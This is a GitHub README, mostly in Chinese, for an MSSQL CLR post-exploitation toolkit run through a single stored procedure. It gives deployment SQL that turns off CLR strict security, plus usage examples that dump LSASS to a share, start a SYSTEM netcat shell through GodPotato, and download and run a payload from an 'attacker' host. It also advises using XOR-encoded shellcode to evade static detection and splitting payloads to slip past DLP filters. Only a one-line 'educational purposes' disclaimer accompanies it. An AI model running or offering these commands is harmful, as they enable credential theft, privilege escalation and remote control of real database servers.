FlameBudy/MSSQLServer-CLR-CommandKit
GitHub: FlameBudy/MSSQLServer-CLR-CommandKit
一款集成文件操作、进程侦察、凭据窃取、权限提升和载荷加载功能的 MSSQL CLR 后渗透工具集,以单一存储过程实现攻击链闭环。
Stars: 1 | Forks: 0
# MSSQL CLR Operations Toolkit
灵活的 Microsoft SQL Server CLR 扩展,通过单个存储过程公开后渗透辅助工具(进程管理、文件 I/O、网络侦察、载荷投递和权限提升原语)。
## 概述
`MSSQL CLR Operations Toolkit` 将一系列高影响力的操作辅助工具封装在单个 UNSAFE CLR 程序集中。部署后,SQL 操作员可以通过 `EXEC dbo.ClrExec ''` 发出命令来:
- 探索主机文件系统和运行中的进程
- 在不直接接触磁盘的情况下暂存、执行或移除载荷
- 触发权限提升漏洞利用(EfsPotato/BadPotato/GodPotato)
- 与 RDP 设置、本地账户和 AV 清单进行交互
- 执行内联 Shellcode 或程序集,支持可选的 XOR 暂存
## 功能
| 功能 | 命令 | 备注 |
| ---------- | ---------- | ----- |
| 文件与目录操作 | `clr_pwd`, `clr_ls `, `clr_cd `, `clr_cat `, `clr_rm ` | 使用 .NET `System.IO`;通过分块处理嵌套目录和大输出。 |
| 进程与网络侦察 | `clr_ps`, `clr_netstat` | 枚举进程和 TCP 监听器/连接。 |
| 主机可达性 | `clr_ping ` | 带有友好状态消息的 ICMP 检查。 |
| 载荷执行 | `clr_cmd `, `clr_exec -p -a ` | 支持带参数分割的进程执行。 |
| 下载/暂存工件 | `clr_download `, `clr_combine ` | 下载器加用于分割载荷的多部分合并器。 |
| 凭据访问 | `clr_dumplsass [dumpDir]` | 转储 LSASS(仅限管理员)并自动 gzip 压缩输出。 |
| 用户与 RDP 管理 | `clr_adduser `, `clr_rdp` | 添加本地账户并通过注册表编辑切换 RDP。 |
| AV 清单 | `clr_getav` | 枚举已安装的 AV 产品。 |
| 权限提升 | `clr_efspotato`, `clr_badpotato`, `clr_godpotato` | 公开 Potato 漏洞利用家族;支持内联命令或二进制启动。 |
| Shellcode/Assembly 加载器 | `clr_scloader`, `clr_assembly ` | 从磁盘/Base64 执行 XOR 编码的 Shellcode 或托管程序集。 |
## 注意事项
- **命名空间划分**:
- `CLR_module/*`: 操作辅助工具(文件系统、进程、漏洞利用粘合层)。
- `NativeAPI/*`: GodPotato 使用的 COM/DCOM 封送处理类型。
- `PingCastle/*`: 从 PingCastle 移植的 RPC 辅助程序,用于 LSARPC/NRPC 调用。
- **权限集**: 该项目有意使用 `PERMISSION_SET = UNSAFE` 编译,以解锁非托管调用(`dbghelp`、注册表、原始套接字等)。
- **输出处理**: 长响应被分块为 4,000 个字符的块,以遵守 SQLCLR 管道限制。
- **漏洞利用垫片**: EfsPotato、BadPotato 和 GodPotato 包装器同时支持直接命令执行和程序+参数模式(通过 `-p`/`-a` 标志)。
## 前置条件
- 启用了 CLR 集成的 Windows 主机,且安装了 SQL Server 2016+。
- Visual Studio 2022 和 SQL Server Data Tools (SSDT)。
- 目标 SQL 实例上的 Sysadmin 或等效权限,以部署 UNSAFE 程序集。
可选辅助工具:`sqlcmd` 或 SSMS 用于部署步骤,需在 SQL Server 级别启用 CLR 集成。
## 构建
- **编译**
- 打开 `Database.sln`。
- 以 `Release|AnyCPU` 配置构建 `Database`。
输出:`Database\bin\Release\Database.dll`。
## 部署到 SQL Server
```
-- 1. Enable CLR if needed
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE;
-- 2. Allow UNSAFE assemblies (if policy permits)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'clr strict security', 0;
RECONFIGURE;
-- 3. Load the assembly
CREATE ASSEMBLY [ClrOps]
FROM 'C:\path\to\Database.dll'
WITH PERMISSION_SET = UNSAFE;
-- 4. Bind the stored procedure
CREATE PROCEDURE dbo.ClrExec
(@cmd NVARCHAR(MAX))
AS EXTERNAL NAME [ClrOps].[StoredProcedures].[ClrExec];
GO
```
## 配置
- **工作目录**: `clr_cd ` 调整进程 CWD,用于后续的文件系统命令。
- **转储目录**: `clr_dumplsass` 默认为 `%SystemRoot%\Temp`。针对严格的磁盘策略,可提供自定义路径。
- **Potato 执行**: 使用 `-p -a ` 在提升成功后以 SYSTEM 权限启动任意可执行文件。
- **Shellcode 加载器**: 提供先前使用您的工具生成的 Base64 + XOR 密钥对,以避免静态检测。
特定环境的加固(AppLocker、AMSI、EDR)可能会阻止某些动词;请在镜像目标策略的实验室中进行测试。
## 使用示例
```
-- Basic reconnaissance
EXEC dbo.ClrExec 'clr_pwd';
EXEC dbo.ClrExec 'clr_ls C:\ProgramData';
EXEC dbo.ClrExec 'clr_netstat';
-- Dump LSASS to a writable share
EXEC dbo.ClrExec 'clr_dumplsass \\fileserver\staging';
-- Execute a command with arguments
EXEC dbo.ClrExec 'clr_cmd powershell.exe -ExecutionPolicy Bypass -File c:\temp\audit.ps1';
-- Launch SYSTEM shell via GodPotato
EXEC dbo.ClrExec 'clr_godpotato -p c:\temp\nc64.exe -a 4444 -e cmd.exe';
-- Download and run payload
EXEC dbo.ClrExec 'clr_download https://attacker/payload.bin C:\Temp\payload.bin';
EXEC dbo.ClrExec 'clr_exec -p C:\Temp\payload.bin';
```
## 操作提示
- **输出限制**: SQL Server 会截断过于冗长的响应。保持命令输出简洁,或重定向到稍后通过 `clr_cat` 检索的文件。
- **OpSec**: 结合 `clr_download` + `clr_combine` 重组分割的载荷,以绕过大小/内容 DLP 过滤器。
- **错误处理**: 当主机拒绝访问时,大多数动词会发出带有 `[!]` 或 `[X]` 前缀的消息。将这些显示在您的操作员控制台/日志中。
- **清理**: 使用 `clr_rm` 删除暂存的二进制文件、转储或加载器残留物。
## 故障排除
- `Msg 10314` / `UNSAFE assembly could not be loaded`: 确认已禁用 `clr strict security`,或者 DLL 已签名且受信任。
- `Access denied` on LSASS dump or Potato exploits: SQL Server 服务账户缺少 SeDebug/SeImpersonate 权限。请先提升服务上下文权限。
- CLR procedure hangs: 某些命令(例如,长时间运行的 `clr_cmd`)会阻塞会话。请从专用的 SQL 连接执行,并使用 `sp_whoisactive` 进行监控。
## 免责声明
本项目仅用于教育目的。
## 许可证
本项目基于 **MIT License** 授权。有关详细信息,请参阅 `LICENSE` 文件。
标签:Assembly加载, BadPotato, CLR, CTF学习, EfsPotato, GodPotato, HTTP工具, Mr. Robot, Potato提权, RDP操作, SQL CLR, SQL Server, Web报告查看器, 下载器, 代码执行, 内网渗透, 凭据访问, 后渗透, 命令执行, 多人体追踪, 存储过程, 密码恢复, 提权, 文件操作, 用户管理, 端点可见性, 网络信息收集, 网络安全审计